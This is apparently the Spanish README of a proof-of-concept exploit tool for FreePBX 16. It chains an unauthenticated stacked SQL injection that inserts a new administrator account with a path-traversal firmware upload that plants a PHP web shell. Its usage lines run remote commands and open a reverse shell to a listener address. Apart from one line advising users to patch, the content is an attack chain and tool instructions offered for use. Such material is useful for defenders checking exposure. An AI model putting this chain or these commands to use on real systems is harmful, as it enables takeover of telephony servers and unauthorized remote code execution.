
CVE-2025-57819-RCE_PoC
Resumen: Este documento muestra cómo combinar dos vulnerabilidades de FreePBX 16 (CVE-2025-57819 y CVE-2025-61678) para lograr una cadena de ataque completa que permite escalar desde el acceso no autenticado hasta la ejecución remota de código (Remote Code Execution, RCE).
| ID de CVE | Componente afectado | Impacto y tipo de vulnerabilidad |
|---|---|---|
| CVE-2025-57819 | Cargador del módulo Endpoint (parámetro brand) | Inyección SQL apilada no autenticada (Unauthenticated Stacked SQL Injection) |
| CVE-2025-61678 | Procesador de carga de firmware de Endpoint Manager (parámetro fwbrand) | Subida arbitraria de archivos autenticada / salto de ruta (Path Traversal) |
Al desencadenar la vulnerabilidad de inyección SQL apilada no autenticada a través del cargador de módulos con espacio de nombres (Namespaced Endpoint Loader), se escribe directamente una cuenta de administrador nueva con todos los privilegios en la tabla ampusers.
Utilice las credenciales de administrador recién creadas para iniciar sesión en la interfaz de administración de FreePBX.
Se abusa de la función de carga de firmware de Endpoint Manager y, combinándola con la vulnerabilidad de path traversal del parámetro fwbrand (../../../var/www/html/<dir>), se escribe directamente un WebShell en PHP en el directorio raíz del sitio web.
Invoque el WebShell desplegado para ejecutar un único comando del sistema o establezca una Reverse Shell interactiva.
Versiones afectadas:
Recomendación de corrección: actualice lo antes posible a la última versión parcheada.
# Ejecutar un solo comando
python3 exploit.py --rhost pbx.example.com --command "id"
# Crear una Reverse Shell interactiva (escucha automática con pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# Usar HTTP simple con un puerto personalizado
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| Parámetro | Descripción |
|---|---|
--rhost | [Obligatorio] Dirección del host de destino (Target Host) |
--rport | Puerto de destino (por defecto: 443) |
--http | Fuerza el uso de HTTP en lugar del HTTPS predeterminado |